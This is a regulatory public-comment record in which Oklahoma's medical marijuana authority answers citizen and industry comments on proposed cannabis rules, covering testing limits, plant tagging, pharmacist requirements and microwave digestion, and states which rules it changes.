Thank you for your comment. Only the legislature, cities and counties can create new requirements that place restrictions on the location of a medical marijuana commercial licensee. While the Authority cannot make changes in response to this specific comment, we are grateful for your input. Thank you once again for taking the time to share your thoughts with us. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we appreciate you sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
dispensaries need to be inspected and the weed needs to be inspected by professionals. Nobody wants harmful pesticides or other chemicals in their weed. I have an autoimmune disease that's quite serious. I have no appetite and marijuana helps to be able to eat. More needs to be done to prevent illegal growers from selling their product to any dispensary

kathy vochatzer

OMMA Evaluation:
Thank you for your comment. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we appreciate you sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
These new rules are to harsh on the states dispensaries and processors

Ethan Criner

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we thank you for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
No this is not good for the state, industry, and people

Elijah Kepler

OMMA Evaluation:
Thank you for your comment. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we appreciate you sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
This requirements are extremely excessive and going to result in a price jump to keep up with everything. As a consumer it makes it even HARDER for me to offered medicine for the month. It’s already hard as it is living and factor a $500 cost for medical expenses I pay completely out of pocket for. No help, no assistance. With these requirements, you pushing small companies who actually provide better product than most bigger companies with multiple businesses. Pushing away small companies who pay attention and change how they provide to their patients.

Eden Whorton

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we thank you for sharing your thoughts.

Change:

No rule changes are recommended.

Comment:
Whoever is writing these proposals is either 1. wildly out of touch with the industry, 2. Is only interested in making money 3. Has no concern for actual patient needs 4. Doesn't believe in medical use so want to make it hard to access. Or all of the above.
I am a disabled veteran who uses to treat multiple issues I received serving this great nation, including cancer.
Every rule and proposal coming out has only been interested in making cannabis less accessible to those who need it. The people have spoken time and time again in support of it while law makers play games at our expense. We aren't interested in being used as political fodder. We want to be able to medicate in peace as we have voted on. The quality of cannabis diminishes and amount of waste increases with most of these new rules. Single use plastics don't help patients or the planet. New fees just make the market ripe for greed instead of quality products. Testing has yet to prove consistent or helpful, simply another money grab bottle necking quality cannabis production.

Amberlyn Garay

OMMA Evaluation:
Thank you for taking the time to share your comment. Laboratory standardization recommendations are required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. While the Authority will not be making changes to our rules based on this specific comment, please know that we are grateful for your input. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
No rule changes are recommended.

Comment:
442:10-5-11. Attestation confirming or denying foreign financial interests - Submission of an attestation should be a required document for OMMA license application or license renewal, otherwise licensee may forget to submit this attestation after the approval of their license.

Luke Wang

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules, your feedback is valuable to us. Although the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. Your input is important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
There's a lot of circling the wagons on this some rules seem needed as far as testing and distribution goes that has been curroped already by greed and the almighty dollar but on the other hand yall have gone from one extreme to another with no real thoughts on how it effects actual patients who need it and might suffer..because due to these new rules merrajana prices will skyrocket until all the crooked and illegal

places are found and shut down. And good ones can hopefully stay open if they afford all the new extreme fees that weeded in-between logistics bullshit that most people can't decipher with out Google or a dictionary (if they are still out there) plus this new plan should have been given a lot more publicity so people could not only be aware of this but get their opinions heard too thank u

Ruth parker

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules, your feedback is valuable to us. Although the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. Your input is important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
SB1945 (2024) - This rule creates an unacceptable hardship for dispensaries. There is no way for every dispensary to have a licensed pharmacist, this is a back-handed way to close dispensaries and would relay costs to the patients.

Michael Quayle

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment relates to proposed legislation rather than a proposed permanent rule. It's important to note that changes to proposed legislation fall within the jurisdiction of the legislature and cannot be changed by OMMA. In terms of the proposed permanent rules, this comment doesn't suggest any changes, and the Authority won't be making adjustments based on this feedback. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
The state needs to stop making negative decisions & changes to MM growers & consumers. We the people voted for medical legalization. We did not vote on the changes that OMMA is making towards growers & consumers in taking away rights that have been given. Why can't the gov't & leave it alone. Focus on education of a natural product instead.
Alcohol is a man made drug that affects more lives in negative ways, but it remains promoted & widely consumed by the public. It causes more harm than marijuna ever has. Why is that no one focuses on that? Leave marajuna alone & quit changing the rules to suit non medical marijuna users.

Delisa Taylor

OMMA Evaluation:

We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we thank you for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
442:10-8-1 (i)(2) Mycotoxins (E) and 442:10-8-1 (i)(5) Pesticides (E)
The LCS limits for Pesticides and Mycotoxins are incorrect. CCV limits are always more stringent than the LCS limits. LCS's are carried through the extraction process which causes more room for variation and error. The CCV limits should be set at plus/minus 30% (70-130%) and LCS limits set at plus/minus 40% (60-140%).

442:10-8-1. Testing standards and thresholds (4)Metals (D)

We believe this language should be removed from the proposed rule:

If microwave digestion is used, a determination of seal integrity is required. If the post weight loss of the sample exceeds one percent (1%) of the pre-weight of the sample and reagents, the sample is considered compromised, and a new digestion must be performed.

Here is an email response from Anton Par (the manufacturer of our microwaves)

This part doesn't make sense:

"If the post-weight loss of the sample exceeds one percent (1%) of the pre-weight of the sample and reagents, the sample is considered compromised, and a new digestion must be performed"

Before the digestion, the sample and reagents are all either solid or liquid.

After the digestion, it is expected that most of the sample weight and even some of the liquid will be converted to gas and therefore the post-digestion weight of the remaining liquid and analytes will be significantly less than 1% loss.

Do not hesitate to reach out to us for any additional support.

442:10-8-3. Sampling requirements and procedures (d) Sample handling, storage and disposal (1)

OMMA Proposed language:
The laboratory shall store each test sample under the appropriate conditions appropriate to protect the physical and chemical integrity of the sample not accept a test sample that is less than the minimum amount listed in OAC 442:10-8-3(b);

Our recommended language:
Licensee samplers must submit test samples to testing labs that meet or exceed the minimum amount specified in OAC 442:10-8-3(b).

Best regards,

Rahul Sharma
Technical Sales Specialist
Microwave Synthesis & Digestion
Raman Spectroscopy

Eric Wheeler

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment primarily addresses laboratory standardization recommendations as required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. As it relates to the sample preparation for microwave digestion, the Authority will be making changes to permanent rules to remove the seal integrity and post weight loss requirements in **OAC 442:10-8-1(i)(4)(D)**. As it relates to limits for mycotoxins and pesticides, the Authority will be making changes to permanent rules to clarify the CCV and LCS limits. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
The Authority removed specific sample preparation requirements for microwave digestion in **OAC 442:10-8-1(i)(4)(D)** and updated the CCV and LCS limits in **OAC 442:10-8-1(i).**

Comment:
442:10-5-6. (f) (3) (D), 442:10-4-5. (f) (3) (D), 442:10-5-6. (f) (3) (E), 442:10-4-5. (f) (3) (E), 442:10-5-1.1. (13) (A) (vi), 442:10-5-1.1. (13) (A) (vii)

442:10-5-6. (f) (3) (D) and 442:10-4-5. (f) (3) (D)
The proposed regulation mandating both a physical plant tag for individual medical marijuana plants and a package tag for batches of "clones" is perplexing and seemingly incompatible with the existing state inventory tracking software. From my understanding, the proposed procedure involves several steps: creating an immature planting from a plant, packaging this planting, creating another immature planting from the package, and then updating its growth phase. This process appears necessary to generate both individual plant tags and a collective package tag. However, once plant tags are produced, the package tag becomes inactive in the system. This raises the question: is it intended for inactive tags to be linked to plant groups? I believe this rule should not be adopted. A more streamlined approach would involve simply creating an immature planting, labeling it with the batch name without a package tag, and change the phase once the plants reach 12 inches and require plant tags. My concern is that the more complex and contradictory the regulations are to the inventory tracking software's functionality, the more the Oklahoma Medical Marijuana Authority risks misinterpreting data entry mistakes as deliberate compliance breaches.

442:10-5-6. (f) (3) and 442:10-4-5. (f) (3)
Associated plant tags with plant material after harvesting is not compatible with the current inventory tracking system and seems redundant. When plants are harvested using the system's harvest feature, it deactivates the associated plant tags. Under this rule, licensees would be required to link inactive plant tags with the harvested material. Moreover, if a licensee opts to use the "manicure" function for partial harvesting, which keeps the plant tags active, the harvested material cannot be associated with plant tags since the original plant tags would remain on the growing plants. A more practical approach would be to manually label the harvested material with the corresponding batch identifier until it completes the drying,

curing, trimming processes, and is then packaged as medical marijuana items with new package tags.

442:10-5-1.1 (13) (A) (vi)
This rule needs a clearer definition of "report."

442:10-5-1.1 (13) (A) (vii)
This rule is overly vague and could be construed as applying to anyone acting for a medical marijuana business in any capacity. It should be either rephrased for clarity or completely eliminated.

Connie James

OMMA Evaluation:
Thank you for taking the time to share your comment. As it relates to the 12" height for tagging plants, these proposed rules are the product of numerous conversations with a broad group of stakeholders, including the entirety of the public comment period. Moreover, 63 O.S. § 427.13(B)(1) of state statute requires OMMA "ensure that all marijuana being grown in Oklahoma is accounted for[.]" The requirement that all medical marijuana business employees apply for and receive a credential authorizing the employee to work in a licensed medical marijuana business is mandated by SB 1704 (2022) and codified in state statute at 63 O.S. § 427.14b. In this context, your comment relates to state statute rather than a proposed permanent rule. The requirement that applicants submit a national fingerprint-based background check is required by state statute at 63 O.S. § 427.14. In this context, you comment relates to state statute rather than a proposed permanent rule. It's important to note that changes to these statutory requirements fall within the jurisdiction of the legislature and cannot be changed by OMMA. The Authority will be making changes to permanent rules to clarify certain people who do not need to apply for and receive a credential in **OAC 442:10-5-1.1(13)**. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
The Authority clarified who does not need to apply for and receive a credential in **OAC 442:10-5-1.1(13)(A).**

Comment:
442:1-1-15. Emergency cease and desist
This is extremely vague and unjust. It does not give examples of what an "emergency" constitutes. Therefore, it gives OMMA the ability to shut anyone down for any reason they personally have and allow them to claim it as an "emergency" even if it is not an emergency. This must be clarified or deleted altogether. OMMA cannot have supreme, god-like power like this. No other business in the United States is treated this way. And6 this omnipotent rule will cause a lot of businesses to file lawsuits against OMMA.

Shawna Patrick

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment relates to a statutory requirement rather than a proposed permanent rule. Proposed rule OAC 442:1-1-15 is a direct recitation of 63 O.S. 427.6(L). While the Authority cannot make changes in response to this specific comment, we are grateful for your input. Thank you once again for taking the time to share your thoughts with us.

Change:
No rule changes are recommended.

Comment:
Dispensary management changes, including but not limited to the addition of a registered pharmacist and testing regulation changes

These new rules are unjust and are aimed specifically at hurting local tax paying businesses vs helping patients.

The addition of a pharmacist to a dispensary is absolutely ludacris.. pharmacist are not trained in cannabis. And this rule is suggested from someone who has no clue about how the cannabis industry works.

Overall these new proposed rules seem intentionally hurtful.

Jesse Goode

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment relates to proposed legislation rather than a proposed permanent rule. It's important to note that changes to proposed legislation fall within the jurisdiction of the legislature and cannot be changed by OMMA. In terms of the proposed permanent rules, this comment doesn't suggest any changes, and the Authority won't be making adjustments based on this feedback. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
Needing physical care to purchase
I do not think it’s fair that out of state patients have to wait until they get their physical card. There are a number of days that are missed and I don’t think that it’s fair to have us pay $100 a month and we lose a couple of days of being able to purchase in

Dennis Williams

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment relates to a statutory requirement rather than a proposed permanent rule. The requirements of a temporary medical marijuana patient license is set in state statue at 63 O.S. § 420. It's important to note that changes to this requirement fall within the jurisdiction of the legislature and cannot be changed by OMMA. In terms of the proposed permanent rules, this comment doesn't suggest any changes, and the Authority won't be making adjustments based on this feedback. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:

AMEND SECTION 442:10-8-1.(i)(4)(D) "...If microwave digestion is used, a determination of seal

integrity is required. If the post weight loss of the sample exceeds one percent (1%) of the pre-weight of the sample and reagents, the sample is considered compromised, and a new digestion must be performed..."

PROPOSED AMENDMENT TO SECTION 442:10-8-1.(i)(4)(D) "...If microwave digestion is used, a determination of seal integrity is required. If the post weight loss of the sample exceeds ten percent (10%) of the pre-weight of the sample and reagents, the sample is considered compromised, and a new digestion must be performed..."

This proposed amendment changes the seal integrity weight loss requirement from the proposed 1% to 10%, which is more in line with other industries that digest organic material.

Of Note: A letter from CEM, a major manufacturer of microwave digesters:

February 15, 2024

To whom it may concern:

CEM Corporation is a manufacturer of microwave laboratory instrumentation including acid digestion systems. The MARS 6® closed vessel microwave digestion system with Xpress® / XpressPlus® vessels has proven to be a workhorse for laboratories performing heavy metals analysis in cannabis products.

It has come to our attention that there is a proposed rule change in the Oklahoma Medical Marijuana Authority method in the following section on page 74:

Subchapter 8: Laboratory Testing
442:10-8-1: Testing Standards and Thresholds
(D) Sample Prep
The proposed change reads:

“If microwave digestion is used, a determination of seal integrity is required. If the post weight loss of the sample exceeds one percent (1%) of the pre-weight of the sample and reagents, the sample is considered compromised, and a new digestion must be performed.”

CEM has been directly involved with cannabis committees and workgroups with both AOAC and ASTM, and this stipulation is not mentioned in any of their official cannabis methods.

We feel that this proposed rule change is unreasonable for the following reasons:

1. The 1% weight loss rule appears to have been taken from EPA environmental methods that were developed approximately 30 years ago using different digestion systems and vessels on different sample matrices with completely different chemistries.

2. Organic-based samples such as cannabis produce gaseous decomposition products such as CO 2 and NO 2 when oxidized with HNO 3 ,and some of the acid is consumed. These decomposition gases may vent away during digestion and/or when the vessels are opened, and therefore do not condense back into solution. Xpress® and XpressPlus® digestion vessels which are commonly used for cannabis digestions are designed to vent away decomposition gases during heating and reseal to avoid an unsafe over-pressurization. Up to 10% reduction in final volume is expected due to loss of these decomposition gases. However, analytes, including volatiles such as As and Hg are retained in solution.

3. There is room for error in the final weight measurement if it is taken before the vessels have cooled completely to room temperature due to a buoyancy effect of warm vessels on the analytical balance. This error could account for ≥ 1% weight loss.

4. Final weight must be taken before the vessels are vented and opened. There is a safety concern for the operator with handling pressurized vessels on the analytical balance outside of the fume hood.

5. Sample integrity can be verified more accurately in the following ways:
a. Confirmation that the batch temperature met the method requirements
b. Individual vessel temperature verification
c. Recovery data of Quality Control Check Samples and Spikes

6. Will the same 1% weight loss criteria apply to the optional open beaker hot plate method? (Section (B) Instrumentation) If not, why not?

CEM Corporation has over 40 years of microwave sample preparation experience and would be very happy to discuss.

E mckinnon

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment primarily relates to laboratory standardization recommendations as required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. As it relates to the sample preparation for microwave digestion, the Authority will be making changes to permanent rules to remove the seal integrity and post weight loss requirements in OAC 442:10-8-1(i)(4)(D). Thanks again for taking the time to share your thoughts and feedback with us.

Change:
The Authority removed specific sample preparation requirements for microwave digestion in **OAC 442:10-8-1(i)(4)(D)**.

Comment:
What exactly is 20% based on? Is this 20% of all analytes plus microorganisms on the OMMA test list or is this based on each method? For example, will we be given a flower sample and asked to test for the 4 heavy metals only? If we fail to meet your established acceptable range on any one of these analytes, this will be 25% unsatisfactory and greater than the 20% limit. On the other hand, does this 20% limit statement pertain to all pesticide analytes (13), all heavy metals analytes (4), all cannabinoid analytes (10), all terpene analytes (13), moisture, water activity, filth, total Y&M and all objectionable organisms (6) for flower? All together this is 50 total results so data that does not meet the External Quality Lab range in >10 out of these 50 tests makes the testing lab unsuccessful in a testing event. What comprises a testing event? This really needs clarification. Moreover, information about how the External Quality Lab providing the comparison testing results needs to be freely available for comparison purposes to the commercial labs and how the commercial labs may refute the External Quality Lab data. The External Quality Control Lab, from what I understand
and gather, does not have the experience that most commercial lab scientists have in testing in the specific matrices and analytes we handle. At some point this could become two labs each fighting over who is correct. Will the External Quality Control Lab have ISO17025 accreditation for all tests they run in this program showing their competency running these methods? This is where proficiency testing is needed. NIST is the best model to follow for a proficiency program and you will see this takes a lab with

many different instruments/methods analyzing an analyte or group of similar analytes like NIST. Not to mention determining stability of the proficiency sample in both storage time and temperature as well as transit storage requirements. Lastly, data analysis requires statisticians to properly handle the data. This is not an easy endeavor for anyone without years of experience handling this type of work. Please seek advice from experienced scientists (more than a few years as an analyst) that have been working in regulated industries (FDA, USDA) that handle drugs and food like the type of samples we are handling.

Cheri Turman, PhD.

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules, your feedback is valuable to us. Although the Authority won't be making changes based on this comment, rest assured that we've shared your insights with our team. Your input is important, and we appreciate you contributing to the conversation. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
Personal and clients - I thought I would be able to attach examples. I do commercial real estate for cannabis and have a HUGE issue with the COO. I have addressed my concerns with state reps as well. I have a group of business investors and developers that are from here that did a development on Waterloo in Edmond Logan County who develop several properties by code. They WERE NOT required to have a COO when built until last year. Now, just because they have several cannabis tenants they are required? It will cost one owner over $250k for the upgrade and the other double because they have 25ish units. BUT if they all leave and fill with non cannabis users they aren't required then?? Makes NO SENSE and is draining on the landlord/owners and takes away from their income. So many other businesses DO NOT have a COO why the discrimination? I understand there was two incidents. Why don't you just inspect up ro code on the c1 d1 properties or just make more sense of the matter? Because this makes no sense. I've been selling and leasing these properties since 2018. This is crippling the economy and landlords. There are higher vacancy rates now due to all the proposed rules. Causing sales and definitely my income to PLUMMIT. Cease the COO!

COO
Again, I sell and lease commercial real estate for cannabis since 2018. I have pictures of some properties I wanted to share but again, nowhere to attach. So I spoke about a previous property with multiple tenants outside city limits which was very well constructed by business men and very successful developers here that are now required to fork up $250k+++++ for the ridiculous coo, there is another property which is a large light dep concrete pad amazing greenhouse also out side city limits, again, was not required to have the COO but the COC. So when I drive by several landscaping farms also outside city limits, were these facilities/greenhouses required to have these emergency coo's??? I don't think they were. Why is it that OBDNN feels they have the right to act as building code informants? Is that their job?? Its not. If a rule like this is going to be placed, it should be placed on everyone not just one organization!! Landscapers also use chemicals and pesticides on their plants as well. Cannabis is also a plant....am I missing something? I has been EXTREMELY difficult to do my job selling the real estate due to lack of coo which wasn't needed before, can't transfer product with the sale....which has TOTALLY devalues the property, and the amount of tike it takes to transfer a license. I went and spoke with the largest cannabis attorney in the nation and several consultants in Denver and they looked at me crazy when I told them the Oklahoma rules! Part of a sale in ANY business to hold the value of the business is the transfer of real

estate and products. Would it make sense for you to buy a restaurant that's profitable but then the state said: the seller has to dispose of all food and other products shut down until any license is transferred.....you no longer have a profitable business and your employees leave because they can't work and that $3M business is worth crap now, nothing. My business as a real estate agent use to be good, but now I'm trying to find new ways to pay my bills because the rules keep changing!!! I am trying to sell this amazing light dep property but because of the rules that also DO NOT pertian to landscaping companies but canna, it's been challenging. The other property on Waterloo, why should they have to spend the $250k-$500k if these tenants could leave next year then be replaced with general contractors then the state would not be imposing COO on these owners then??? Yall are bankrupting a hole in the Oklahoma tax payers pockets! Including mine. We can't keep doing this, we need to make sense of things and this is not it!!!

Pharmacy and licenses
Definitely not a good idea to have pharmacist in the dispensary. For one, it will drive up the cost. Pharmaceuticals and canna are two different entities. Yes they are both a type of science, but one is man made while the other is more natural. It cost less to have an experienced bud tender than it would a pharmacist. I don't think that being a REQUIREMENT is necessary and would put out dispos and only also hurt the consumer/patients as well. Also, I'm still not comprehending, as many others, of why is it taking so long to get these licenses done? I called the board of pharmacist one day and asked several questions. Q 1) How long does it take to transfer a license? A) 3-10 days. Wow! Q 2) If wanted to sell my business to you, could I transfer my product, including all high end Narcotics to you as well? A) Yes, as long as I wanted it and we would keep a copy of the bill of sell. Me) Oh! Ok!!!??? Q 3) Do I have to shut my business down until things fully transfer ownership?? A) No, why would I do that??? .....Me) IDK, it doesn't make sense to do so but just wondering.
So, why the discrimination with canna compared to pharmacist and I know there are more I'm canna compared to pharmacist because I actually looked up how my pharmacies but still, it's been several months to transfer licenses or renew some PAST the 2 year mark now I can pull some up, and theses pharmacist are only up to 10 days???? Their OBDNN registrations also expire at the same time but they don't have half of the amout of issues we do but there is an even BIGGER crisis with prescribed Narcotics, people over dosing and people committing suicide on prescribed medications!!!! How many people have overdosed or committed suicide on a cannabis product?? Can anyone find that in any studies???? If I could get the stats, which I'm very very good at getting information, statistics and facts I definitely can. But I promise you, big pharma has a bigger problem with addiction and overdose than canna does right now so why is there such pressure and negative PR on canna?? Why can't things get done in a timely manner for canna as for pharmacies? I have heard SO MANY stories, you heard one this morning, of how people were addicted or prescribed multiple meds, some counter act with others, and they got rid of them and now just do cannabis and it works. I know many stories. If it works it works. Some people drink alcohol, some have prescribed meds and others do canna and some just do natural remedies. To each his own.....just treat it equal.

Krystal Deak

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment relates to proposed legislation or current state statute rather than a proposed permanent rule. It's important to note that changes to proposed legislation or current statute fall within the jurisdiction of the legislature and cannot be changed by OMMA. In terms of the proposed permanent rules, this comment doesn't suggest any changes, and the

Authority won't be making adjustments based on this feedback. Thank you once again for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
AMEND SECTION 442:10-8-1.(i)(4)(D) "...If microwave digestion is used, a determination of seal integrity is required. If the post weight loss of the sample exceeds one percent (1%) of the pre-weight of the sample and reagents, the sample is considered compromised, and a new digestion must be performed..."

PROPOSED AMENDMENT TO SECTION 442:10-8-1.(i)(4)(D) "...If microwave digestion is used, a determination of seal integrity is required. If the post weight loss of the sample exceeds ten percent (10%) of the pre-weight of the sample and reagents, the sample is considered compromised, and a new digestion must be performed..."

This proposed amendment changes the seal integrity weight loss requirement from the proposed 1% to 10%, which is more in line with other industries that digest organic material.

Of Note: A letter from CEM, a major manufacturer of microwave digesters:

February 15, 2024
To whom it may concern:

CEM Corporation is a manufacturer of microwave laboratory instrumentation including acid digestion systems. The MARS 6® closed vessel microwave digestion system with Xpress® / XpressPlus® vessels has proven to be a workhorse for laboratories performing heavy metals analysis in cannabis products.

It has come to our attention that there is a proposed rule change in the Oklahoma Medical Marijuana Authority method in the following section on page 74:

Subchapter 8: Laboratory Testing
442:10-8-1: Testing Standards and Thresholds
(D) Sample Prep
The proposed change reads:

“If microwave digestion is used, a determination of seal integrity is required. If the post weight loss of the sample exceeds one percent (1%) of the pre-weight of the sample and reagents, the sample is considered compromised, and a new digestion must be performed.”

CEM has been directly involved with cannabis committees and workgroups with both AOAC and ASTM, and this stipulation is not mentioned in any of their official cannabis methods.

We feel that this proposed rule change is unreasonable for the following reasons:

1. The 1% weight loss rule appears to have been taken from EPA environmental methods that were developed approximately 30 years ago using different digestion systems and vessels on different sample matrices with completely different chemistries.

2. Organic-based samples such as cannabis produce gaseous decomposition products such as CO 2 and NO 2 when oxidized with HNO 3 ,and some of the acid is consumed. These decomposition gases may vent away during digestion and/or when the vessels are opened, and therefore do not condense back into solution. Xpress® and XpressPlus® digestion vessels which are commonly used for cannabis digestions are designed to vent away decomposition gases during heating and reseal to avoid an unsafe over-pressurization. Up to 10% reduction in final volume is expected due to loss of these decomposition gases. However, analytes, including volatiles such as As and Hg are retained in solution.

3. There is room for error in the final weight measurement if it is taken before the vessels have cooled completely to room temperature due to a buoyancy effect of warm vessels on the analytical balance. This error could account for ≥ 1% weight loss.

4. Final weight must be taken before the vessels are vented and opened. There is a safety concern for the operator with handling pressurized vessels on the analytical balance outside of the fume hood.

5. Sample integrity can be verified more accurately in the following ways:
a. Confirmation that the batch temperature met the method requirements
b. Individual vessel temperature verification
c. Recovery data of Quality Control Check Samples and Spikes

6. Will the same 1% weight loss criteria apply to the optional open beaker hot plate method? (Section (B) Instrumentation) If not, why not?

CEM Corporation has over 40 years of microwave sample preparation experience and would be very happy to discuss these comments with the committee if desired.

Kristy Benson

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. This comment primarily relates to laboratory standardization recommendations as required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. As it relates to the sample preparation for microwave digestion, the Authority will be making changes to permanent rules to remove the seal integrity and post weight loss requirements in **OAC 442:10-8-1(i)(4)(D)**. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
The Authority removed specific sample preparation requirements for microwave digestion in **OAC 442:10-8-1(i)(4)(D)**.

Comment:
All proposed rule changes need to be rescinded and all rules put in place since the programs inception need to be rolled back until a citizens board is put in place consisting of nine members: three card holders, three dispensary owners, three growers.
This board must be allowed to vote on any rule changes to be put forth to the legislature as The legislature acts in clear conflict of interest to the medical marijuana program and needs to stop violating the constitutional and civil rights of the citizenry.
All taxes that are collected should be put for the betterment of the citizen of Oklahoma, not put into a discretionary fund at the whim of the legislature. This is taxation without representation.
Taxes should be lowered as they are necessarily high, application fees should be minimal and be in line

for what it cost to get a drivers license in this state as this deters and strangle the citizens with less resources who want to create economic prosperity for themselves.
The draconian prices and laws are prohibitive practices that undermine the will of the people put in place by people who do not support this program and this must change

JonPaul

OMMA Evaluation:
Thank you for your comment. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we appreciate you sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
New rules to require more cost on businesses will create higher cost for us patients to get the meds we want from smaller businesses

Trikelent

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we thank you for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
Makes things unnecessarily difficult and burdensome for both patient and business. Access to medicine should be plentiful cheap and quick.

Taylor

OMMA Evaluation:
Thank you for your comment. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we appreciate you sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
I've already been through this bullshit in San Diego… You're treating Cannabis Businesses different than any other business. Attacking through zoning, code enforcement etc. It's bullshit! Regulate it like it's a fucking tomato!

Richard Amundson

OMMA Evaluation:
We sincerely appreciate you sharing your comment with us. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we thank you for sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
OMMA is garbage. Everything you implement is horrible and backwards. From the plant count to all the licensing requirements to the testing that doesn't even function properly to every step of it all. Too much to say here but you should consult with Americans For Safe Access on the whole program because omma is the worst setup in the whole country.

Joshua Woodham

OMMA Evaluation:
Thank you for your comment. While it doesn't specifically address changes to the proposed permanent rules and the Authority won't be making changes based on this comment, we appreciate you sharing your thoughts.

Change:
No rule changes are recommended.

Comment:
These proposed minimum test requirements aren't needed. We have been operating for around 5 years now and the current amounts required were fine. What is the point of raising the test size when scientifically there is no perceive benefit only harm. One SKU test would cost us over $600 in lost revenue plus the cost of the test. If we have 10 test per month that's $6000 and we cant operate like that. We would have to extremely increase the cost to the patients or have to stop providing certain strains that don't yield well. There is no benefit and only a cost to these rule changes. Small mom and pop shop operations will not be able to provide certain concentrates like live rosin due to the low yield back. Which is unacceptable because the process in which live rosin is created makes it one of the cleanest meds with no hydrocarbons being used during processing only heat and water. Certain strains we offer yield so poorly that 14 grams would be a third of the batch itself. We would literally go out of business. Isnt the point to get the meds to the patients as cheap as we can not arbitrarily raising the cost with no additional safety. Due to the nature of concentrates they are already so homogenized that you wont get any additional information, test results, or perceived safety from testing 14grams instead of the current 4 grams. You will just pass the bureaucratic burden onto the patients.

Daniel Opie

OMMA Evaluation:
Thank you for taking the time to share your comment. Laboratory standardization recommendations are required by HB 4056 (2022) and codified in state statute at 63 O.S. 427.17. While the Authority will not

be making changes to our rules based on this specific comment, please know that we are grateful for your input. Thanks again for taking the time to share your thoughts and feedback with us.

Change:
No rule changes are recommended.

Comment:
442-10-8-1(b) Batches. (1) Batch size. Growers shall separate all harvested medical marijuana into harvest batches not to exceed that weigh less than or equal to fifteen (15) (≤ 15) pounds with the exception of any plant material to be sold to a licensed processor for the purposes of turning the plant material into concentrate which may be separated into harvest batches of no more than that weigh less than or equal to fifty (50) (≤ 50) pounds. Processors shall separate all medical marijuana product into production batches not to exceed that contain a volume that is less than or equal to four (4) (≤ 4) liters of liquid medical marijuana concentrate or that weigh less than or equal to nine (9) (≤ 9) pounds for nonliquid medical marijuana products, and for final medical marijuana products no greater than shall contain less than or equal to one-thousand (1,000) (≤ 1,000) grams of THC total delta-9-tetrahydrocannabinol (Δ-9-THC).

Yes as a compliance person I see several issues where product isn't designated into specific production batches as they should be

442:10-4-5. Inventory tracking, records, reports, and audits (f) Inventory tracking system requirements (3)(D) Prior to a plant reaching a point where it is able to support the weight of the RFID tag and attachment strap, the RFID tag may be securely fastened to the stalk or other similarly situated position approved by the Authority.The inventory tracking system tag shall be placed on the container holding the medical marijuana plant and must remain physically near and clearly associated with the medical marijuana plant until the plant reaches twelve (12) inches in height. Clones must be tracked in the state seed-to-sale system and must be associated with a wholesale package tag, whether cut from a mother plant or transferred from another licensee, prior to reaching twelve (12) inches in height. (E) When the plant becomes able to support the weight of the RFID tag, the RFID reaches twelve(12) inches in height, the inventory tracking system tag shall be securely fastened to a lower supporting branch. The RFID inventory tracking system tag shall remain affixed for the entire life of the plant until disposal. If the plant changes forms, is removed from the original planting location after harvest, or is being trimmed, dried, or cured by the grower, the inventory tracking system tag shall be placed on the container holding the medical marijuana plants and/or must remain physically near and clearly associated with the medical marijuana plants until the plant is placed into a package in both the seed-to-sale tracking system and physically packaged and affixed with the inventory tracking system tag.

This will simplify when to actually tag the plants, and will make it cheaper in the long run as far as clones that die under a package tag

